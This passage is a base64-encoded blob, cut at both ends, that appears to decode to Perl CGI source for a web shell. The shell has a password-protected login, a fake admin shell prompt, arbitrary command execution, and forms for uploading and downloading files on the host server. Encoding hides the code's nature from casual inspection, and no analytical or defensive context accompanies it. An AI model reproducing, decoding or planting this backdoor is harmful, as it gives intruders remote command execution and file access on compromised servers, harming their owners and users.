5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5h